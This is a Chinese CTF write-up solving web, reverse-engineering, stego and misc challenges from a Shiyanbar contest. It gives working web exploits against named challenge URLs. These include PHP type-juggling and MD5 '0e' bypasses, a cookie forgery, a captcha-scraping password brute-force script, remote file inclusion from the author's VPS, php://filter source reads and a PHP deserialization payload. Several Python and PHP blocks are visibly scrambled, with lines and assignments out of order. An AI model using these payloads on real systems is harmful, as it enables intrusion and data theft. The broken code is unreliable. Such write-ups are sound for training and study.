>
一个比较无语的比赛,还是记录一下解题姿势
这是一个实验吧和西普学院搞的比赛,说实话办得不太用心 题目基本都是以前CTF或者实验吧的一些原题,水份太多了,连flag都没改,直接搜到之前的wp提交就行了,这也是比赛很无语的一个地方
还是记录一下姿势
题目
类型 | 题目 | 答题链接 | 描述 | 分值 | |
---|---|---|---|---|---|
web | ctf入门级题目 | http://ctf1.shiyanbar.com/shian-rao/ | 有源码哦! | 100 | |
曲奇 | http://ctf1.shiyanbar.com/shian-quqi/ | 曲奇特别好吃!!! | 225 | ||
类型 | http://ctf1.shiyanbar.com/shian-leixing/ | php有好多类型啊 | 200 | ||
登录 | http://ctf1.shiyanbar.com/shian-s/ | 有提示 | 150 | ||
admin | http://ctf1.shiyanbar.com/shian-du/ | you are not admin! | 250 | ||
逆向 | console | http://ctf1.shiyanbar.com/shian-file/console.rar | 好像是微软的语言吧。 | 200 | |
getflag | http://ctf1.shiyanbar.com/shian-file/get_flag.rar | 算法其实特别简答,但是好像无法静态啊!啊!啊! | 225 | ||
bin | http://ctf1.shiyanbar.com/shian-file/re.rar | linux可执行程序逆向一则。 | 300 | ||
动态暴力破解 | http://ctf1.shiyanbar.com/shian-file/baopo.rar | 下断点,然后手工暴力破解 | 275 | ||
android | http://ctf1.shiyanbar.com/shian-file/android.rar | apk的逆向 | 250 | ||
简单算法 | http://ctf1.shiyanbar.com/shian-file/hackme.rar | 一个简单的算法而已。 | 200 | ||
隐写 | low | http://ctf1.shiyanbar.com/shian-file/low.rar | low low check out! | 250 | |
斑马斑马 | http://ctf1.shiyanbar.com/shian-file/banmabanma.rar | 斑马斑马,你不要睡着啦,再给我看看你受伤的尾巴,我不想去触碰你伤口的疤,我只想掀起你的头发。 | 125 | ||
CreateByWho | http://ctf1.shiyanbar.com/shian-file/CreateByWho.rar | 零碎的二维码,好像还缺少几块!!! | 200 | ||
适合作为桌面的图片 | http://ctf1.shiyanbar.com/shian-file/desktop.rar | 让你的才思迸发出来吧!! | 150 | ||
杂项 | reverseMe | http://ctf1.shiyanbar.com/shian-file/reverseMe.rar | 这是一个什么文件呢? | 150 | |
珍妮的qq号 | http://ctf1.shiyanbar.com/shian-file/zhenni.rar | 珍妮的QQ是一个靓号哦 | 100 | ||
心仪的公司 | http://ctf1.shiyanbar.com/shian-file/webshell.rar | 小黑在拿到webshell后,马上就获得了自己心仪公司的照片 | 150 | ||
密码学 | des | http://ctf1.shiyanbar.com/shian-file/decode.rar | DES加密算法!! | 400 | |
rsa | http://ctf1.shiyanbar.com/shian-file/rsa.rar | rsa | 300 |
Web整体比较简单 ## Web #### ctf入门级题目 直接给出源码
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}?>
分析:
题目的意思是既让你输入a-zA-Z0-9
的数字字母又叫你输入包含--
字符的password
,逻辑上显然是不通的,所以我们需要的是绕过ereg和strpos。
用数组传递就能满足条件了
ereg无法处理数组,当$__GET['password']为数组的时候会返回FALSE,而strpos找不到--
也会返回FALSE
故传一个数组即可满足条件
flag{Maybe_using_rexpexp_wasnt_a_clever_move}
曲奇
进去就是一个看起来提示性很强的url
http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==
a2V5LnR4dA==
base64 decode得key.txt
顺理成章地想到文件读取
尝试访问http://ctf1.shiyanbar.com/shian-quqi/key.txt 成功访问到相同内容
且line
这个参数经过测试应该是读取第几行的内容的作用
故写了几行Python读取源码
import requests
= "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={}&file=aW5kZXgucGhw"
url for i in xrange(100):
print requests.get(url.format(i,)).text,
得到源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
;
)
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}?>
思路很简单,直接用burp改个cookie就好了
flag{UHGgd3rfH*(3HFhuiEIWF}
类型
直接是源码
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{case 0:
case 1:
$a=1;
break;
}
}$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
$x2["x21"]>2017)?$b=1:NULL;
(
}if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}$c=1;
}
}$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}?>
看来是要过关斩将了
一步一步来 先看第一关
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
x1
不能是 1
但是又要 case 1
直接用不是数字来就好了,普通字母就能绕过了
为了加深理解,本地搭建了一下
if (isset($_GET['x1']))
{$x1 =@ $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{case 0:
echo "= =0";
case 1:
echo "= =!";
case 2:
echo "= =2!";
} }
输入x1为不是数字的就能过
然后是第二关:
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
$x2["x21"]>2017)?$b=1:NULL;
(
}if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}$c=1;
} }
$x2
是个要被解释成数组的变量
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
$x2["x21"]>2017)?$b=1:NULL;
( }
然后$x2[x21]
不能是数字且要大于2017
那么php的弱类型比较就派上用场了,直接用让$x2[x21]=9999是是是
然后php会在比较的时候将其转化为数字9999
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}$c=1;
}
接下来$x2[x22]
必须是个数组,且包含两个元素且第一个是数组
然后array_search("XIPU", $x2["x22"])
和for
循环遍历要求$x2[x22]
数组要有'XIPU'而且for循环又要求不能有'XIPU'
我们可以让$x2[x22]
的第二个元素为0,跟$x2[x21]
同理,也是弱类型比较,就会让array_search("XIPU", $x2["x22"])
为真且满足for循环
故$x2[x22]
=[[6],0]
第三关
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
} }
要求$x3
不能是"15562"
且包含"XIPU"字符且substr(md5($x3),8,16) == substr(md5('15562'),8,16
直接MD5碰撞就好
import hashlib
=1
flag for i in xrange(10,99999):
= hashlib.md5("XIPU"+str(i).zfill(6))
md5_1 = md5_1.hexdigest()
md5_2 if md5_2[8:10] == "0e" :
for t in md5_2[10:24]:
if t.isalpha():
=0
flagbreak
if flag:
print md5_2
print "XIPU"+str(i).zfill(6)
break
=1 flag
输出结果为
2d3f55900e724039009658983fe76971
XIPU074428
为什么这么构造呢?
因为PHP的特性,使用==
这个比较的时候会出现各种类型转换
我们观察到字符串15562
MD5值的8-24位为0e46379442318098 当我们以这样的形式比较 ```php <?php if ("0e12"=="0e72356723") echo "E"; else echo "NE";?> ``` 输出是
E因为当字符串为
xexxxxx,其中x为数字时,php会将字符串转换成科学计数法,即
0e12转化为
0x10^12结果还是0,右边的
0e72356723同理。所以会相等 所以我们只需要构造一个MD5的8-24位形式为
0e[0-9]{16}且包含字符串
XIPU的字符串就好了 脚本跑出的字符串
XIPU074428的MD5值是
2d3f55900e724039009658983fe76971,其8-24位是
0e72403900965898`,正好符合条件
所以最终的payload为
http://ctf1.shiyanbar.com/shian-leixing/
?x1=是是是
&x2={"x21":"2018是是是","x22":[[1],0],"c":3,"d":4,"e":5}
&x3=XIPU074428
CTF{Php_1s_bstl4_1a}
登录
进去是个登录页面,有验证码 看源码,发现最底下
思路也比较简单,爆破就是了 Python脚本如下
import requests,re
= "http://ctf1.shiyanbar.com/shian-s/"
url = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={}&randcode={}"
url1 = {"PHPSESSID":"is53k685uppq82vfb30lfdsfg7"}
cookie
for i in xrange(99999):
= re.findall("type=\"text\"><br><br>(.*?)<br><br>",requests.get(url,cookies=cookie).text)[0]
Vcode print "Now processing password: ",str(i).zfill(5)
= requests.get(url1.format(str(i).zfill(5),Vcode),cookies=cookie)
result = "utf-8"
result.encoding if len(result.text)!=146:
print result.text
break
唯一的坑点就是要在cookie加上PHPSESSID 最后爆破到密码就是00325
flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}
#### admin
进去就提示you are not admin !
按照这个比赛的套路,直接看源码
!
you are not admin
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
else{
}echo "you are not admin ! ";
}
file_get_content是可以获取外部的资源的,当然,php.ini允许的时候才可以
故直接在我的vps上直接放了个t.txt,里面就是the user is admin
然后就绕过了第一个判断
http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt
当然你也可以这样 用php伪协议来绕过
当时我用的就是方法一
然后include了一个$file
,我们可以用
php://filter
伪协议来include
class.php进来
(为什么要看class.php? 因为源码提示啊= =) 然后得到
hello admin!
PD9waHANCg0KY2xhc3MgUmVhZHsvL2YxYTkucGhwDQogICAgcHVibGljICRmaWxlOw0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQogICAgICAgIGlmKGlzc2V0KCR0aGlzLT5maWxlKSl7DQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgICAgDQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsNCiAgICB9DQp9DQo/
base64解码得到class.php的源码
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}return "__toString was called!";
}
}?>
看不出引用干嘛,可能是index.php
的源码不全
再次获取index.php的源码
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
else{
}include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}else{
}echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
else{
}echo "you are not admin ! ";
}--!>
果然留有后手 意思是叫咱们按照规则让echo
$pass运行然后调用Read类的__ToString()魔术方法
由$pass = unserialize($pass); echo $pass;
然后我们需要现将$pass
序列化 故本地写个php(当然=
=也许大佬们都是直接拼出来的)
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}return "__toString was called!";
}
}$a = new Read();
$a->file = "f1a9.php";
echo serialize($a);
?>
得到O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
故最后payload为
http://ctf1.shiyanbar.com/shian-du/?user=https://wzsite.cn/static/t.txt&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
flag_Xd{hSh_ctf:e@syt0g3t}
逆向
console
丢查壳工具查看,发现是个.NET的程序,直接丢reflector反编译 发现关键源码
private static void MAIN(string[] A_0)
{
= null;
string str2 = DateTime.Now;
DateTime now = string.Format("{0}", now.Hour + 1);
string str3 = "CreateByTenshine";
string str4 FUN1(str4, Convert.ToInt32(str3), ref str2);
if (Console.ReadLine() == str2)
{
Console.WriteLine("u got it!");
Console.ReadKey(true);
}
else
{
Console.Write("wrong");
}
Console.ReadKey(true);
}
private static void FUN1(string A_0, int A_1, ref string A_2)
{
int num = 0;
if (0 < A_0.Length)
{
do
{
char ch = A_0[num];
int num2 = 1;
do
{
= Convert.ToChar(FUN2(Convert.ToInt32(ch), num2));
ch ++;
num2}
while (num2 < 15);
= A_2 + ch;
A_2 ++;
num}
while (num < A_0.Length);
}
= FUN2(A_2);
A_2 }
private static int FUN2(int A_0, int A_1)
{
return (new int[] {
2, 3, 5, 7, 11, 13, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,
0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71
}[A_1] ^ A_0);
}
简单地写个python就可以逆向出来了
import hashlib
= [ 2, 3, 5, 7, 11, 13, 17, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 53, 0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 113]
l str = "CreateByTenshine"
= ""
re for j in str:
= ord(j)
num for i in range(1,15):
= l[i]^num
num += chr(num)
reprint re
= hashlib.md5(re)
md5 print "flag{"+md5.hexdigest().upper()+"}"
flag{967DDDFBCD32C1F53527C221D9E40A0B}
其他逆向是队友写的,还有的没做,逆向先更新到这
隐写
low
提示就是low,那必定是LSB最低有效为位隐写了 直接用Stegsolve打开发现找不到 最后才发现是实验吧的原题,原来是Stegsolve处理bmp的缺陷,将图片另存为png之后再用Stegsolve打开找就能找到了
然后发现手机扫描没反应 才意识到是反色了 把二维码截取下来,直接丢到任何可编辑的地方,比如QQ,word,然后直接鼠标拖动覆盖选择图片一下就直接反色了,然后就扫描就可以得到flag了
flag{139711e8e9ed545e}
斑马斑马
= =脑洞题,不想解释 斑马身上是个条形码,直接扫描就好了 在线扫描条形码网站:https://online-barcode-reader.inliteresearch.com/
CreateByWho
是一个零碎的二维码图片
之前百度杯也有类似的题,不过这个二维码是缺少了几部分的 没写出来
看别人的wp是把缺的三个角的方块自己补全然后扫描
脑洞也是略大
适合作为桌面的图片
很简单的隐写题 首先把图片用Stegsolve进行LSB隐写查找,找到如下二维码
扫描之后得到一串十六进制数
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000
把所有的十六进制字符用winhex新建一个文件 发现文件末尾出现了1.py的字符
目测是pyc逆向 丢到在线pyc逆向网站http://tool.lu/pyc/ 逆向得
def flag():
str = [102,108,97,103,123,51,56,97,53,55,48,51,50,48,56,53,52,52,49,101,55,125]
= ''
flag for i in str:
+= chr(i)
flag print flag
运行一下即可获得flag flag{38a57032085441e7}
Misc
ReverseMe
拿到文件发现打不开,用winhex查看发现是一个倒过来的图片文件
直接用python逐个反过来就好了
= open(r"C:\Users\windows8.Windows\Desktop\reverseMe\reverseMe","rb")
f = open(r"C:\Users\windows8.Windows\Desktop\reverseMe_R","wb")
f_1 -1])
f_1.write(f.read()[::
f.close() f_1.close()
然后用画图查看,发现是这个样子
翻转一下就好了
flag{4f7548f93c7bef1dc6a0542cf04e796e}
珍妮的qq号
不解释
珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。
for i in xrange(1,99999):
if str(i).zfill(5)== str(4*i).zfill(5)[::-1]:
print 4*i
break
87912
webshell
分析数据包的题
提示是小黑在拿到webshell后,马上就获得了自己心仪公司的照片
猜测就是找http包然后分析包含照片的信息
用wireshark打开包,过滤出http协议的包,不一会就能找到图片中的flag
fl4g:{ftop_Is_Waiting_4_y}
总结
先让我吐槽一下――辣鸡比赛 这是一个不尊重参赛者的比赛 连flag也不改,题目都是原题,选择题宕机最后半小时又开启说要算分(当时我直接无视了),以及决赛还要自带干粮(这个不能忍!) 所以是果断地拒绝了参加决赛,纯当练手了
感悟:
- 少参加类似的技术含量低的比赛(除非实在闲得慌)
- 逆向要加强,汇编、动态调试、加花混淆、防动调等
- 多运动,做一天的题,累得慌
感谢阅读